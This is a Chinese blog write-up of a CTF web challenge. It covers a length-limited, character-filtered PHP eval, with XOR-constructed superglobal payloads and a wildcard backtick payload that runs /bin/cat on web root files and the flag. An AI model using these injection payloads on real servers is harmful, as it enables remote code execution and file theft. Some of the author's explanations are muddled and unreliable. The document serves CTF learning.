安恒双11活动题目

 

由于是昨天的题目,今天链接已经无法点开了,所以通过其他大神的地方把题扣了过来

web1:

代码如下:
 

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

分析其代码意思就是,输入code值,code值长度不允许超过35,且过滤掉了一些字符,但也要通过其他方法构造成正常的输入

hini提示,通过调用getFlag来获取flag值

上网搜了一下,这里采用了php动态函数调用的方法

起初查了网上资料,利用的是php异或方法构造成GET

http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html:这里介绍一下如何通过异或构造字符串。

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST

?>

所以 ${$__}[!$_](${$__}[$_]);  //$_POST[0]($_POST[1]);

所以起初我用

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

来构造code值,这里介绍一下构造方法,` 代表的是执行命令,?指与之前相匹配,所以构造出来的就是

code=$_=GET;

GET[_]($_GET[_]);

&_=getFlag

这里的&_代表的是指针,

根据前面构造来看,$_已经成为_GET.

所以通过GET来调用getFlag函数

原本以为高高兴兴,看到了资料能得到flag,但是爆出long,后来查看了一下,字符长度早就超过了35

而且其实过滤掉了$,所以这方法行不通。

然后我又没招了,没办法,上网继续搜,https://www.anquanke.com/post/id/154284

这里介绍到了通配符,因为 web服务器基本上都是在linux下的,所以

通过构造code=?><?=`/???/??? /???/???/????/*`;?>

相当于前面的?>闭合掉前面的<?php ,后面再通过/bin/cat /var/www/html/*来匹配所有

得到了网页源码

 

 

 

 

 

 

 

然后再通过构造code=?><?=`/???/??? /????`;?>

运行代码相当于/var/www/flag 得到flag

 *********************************

整道题做完了,虽然是看着大佬写出来的

但还是有几个小疑问

1.何时才能利用构造code来读取服务器后台文件(不可能每次都可以,应该是有什么限制条件)

2.代码中的GET把code取进来,是如何把我构造的payload实现的。

还请希望大佬帮我解决疑问。

 

 

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值